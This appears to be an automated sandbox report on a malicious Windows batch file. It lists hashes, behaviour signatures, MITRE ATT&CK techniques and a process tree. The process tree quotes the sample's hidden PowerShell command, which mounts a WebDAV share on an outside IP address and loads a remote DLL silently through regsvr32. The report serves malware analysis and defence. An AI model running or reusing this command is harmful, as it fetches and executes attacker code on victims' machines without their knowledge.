0c71dfce4d8138a6bd727ea362e874d60bbfc8172399c3c97823bb6d72a884b5

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 22:43

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General

Target

17843242292216017916.bat
Size

13KB
MD5

2a824d121e93386d58bbd33196579132
SHA1

76f7b44b962a147d014ce72e31562ba5823446c7
SHA256

0c71dfce4d8138a6bd727ea362e874d60bbfc8172399c3c97823bb6d72a884b5
SHA512

bc4782eb46e0c438127f27023cfb08f9d08ff8c59a8e5fcc20ecef50b26c37fa4fec3ae24fbef3edaca3ae83052b008f0e9e93e94596844217cce2848dcd5972
SSDEEP

384:HvZYxYW3QsuS38IpBOGdb8JohgDuqC8b2hIIIob2hIIITUQaiCMaHHkr:HSxYW3QI7OowOhgDw8IpmBc

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2128	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2128	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2028	wordpad.exe
2028	wordpad.exe
2028	wordpad.exe
2028	wordpad.exe
2028	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 2028	1880	cmd.exe	32
PID 1880 wrote to memory of 2028	1880	cmd.exe	32
PID 1880 wrote to memory of 2028	1880	cmd.exe	32
PID 1880 wrote to memory of 2128	1880	cmd.exe	33
PID 1880 wrote to memory of 2128	1880	cmd.exe	33
PID 1880 wrote to memory of 2128	1880	cmd.exe	33
PID 2128 wrote to memory of 2140	2128	powershell.exe	35
PID 2128 wrote to memory of 2140	2128	powershell.exe	35
PID 2128 wrote to memory of 2140	2128	powershell.exe	35
PID 2128 wrote to memory of 2932	2128	powershell.exe	36
PID 2128 wrote to memory of 2932	2128	powershell.exe	36
PID 2128 wrote to memory of 2932	2128	powershell.exe	36
PID 2128 wrote to memory of 2932	2128	powershell.exe	36
PID 2128 wrote to memory of 2932	2128	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\17843242292216017916.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2140
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll
    3⤵
    PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2128-23-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2128-24-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download